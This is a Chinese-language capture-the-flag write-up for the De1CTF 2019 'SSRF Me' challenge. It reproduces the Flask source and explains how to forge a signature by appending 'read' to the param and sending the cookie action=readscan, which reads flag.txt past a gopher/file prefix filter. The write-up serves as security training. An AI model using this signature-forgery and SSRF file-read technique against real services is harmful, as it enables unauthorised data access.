[De1CTF 2019]SSRF Me

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
except:
return "Connection Timeout"

def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): #将传入的字符串进行md5加密
return hashlib.md5(content).hexdigest()

def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

flask框架啊,啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

慢慢看吧

跟着网上的教程看,小白还是不要逞强了

这道题三个路由

@app.route(“/geneSign”, methods=[‘GET’, ‘POST’])
@app.route(‘/De1ta’,methods=[‘GET’,’POST’])
@app.route(‘/‘)

首先先是delta,因为它最多、

@app.route('/De1ta',methods=['GET','POST'])		#注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

所以说,我们要用get方式传param

在cookie传递sign和action

同时要经过waf的过滤

所以我们去看看waf

def waf(param):						#防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

所以,我们这里不能使用gopher和file开头的

之后我们再回去看看

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

发现,要创建一个task对象,并且执行exec方法

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

显示通过checkSign方法检测登录

所以先去看看checkSign看看这么个事

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

如果if成真就返回true,所以我们看看getSign这么个事

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

所以就是一个MD5

之后的步骤就断了

所以往后看看geneSign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

这个也是调用了getsign函数

同时是使用了scan

再回到check那个函数

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

看的很明白就是说scan要扫描,read再读出数据,怎么说

所以说action里面要带有scan和read

所以,我们首先scan已经在action里面了

所以重点就是说这个read怎么插入进去

然后就想到了

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

所以,如果我们如果是param=flag.txtread不就read和scan都有了?

天才!出院!

所以访问

/geneSign?param=flag.txtread

拿到86c0dcc170604d413c5d94cc1653e745

直接访问 /De1ta?param=flag.txt 构造 Cookie: sign=86c0dcc170604d413c5d94cc1653e745;action=readscan 即可

拿到flag

总结:

代码看不懂(枯萎)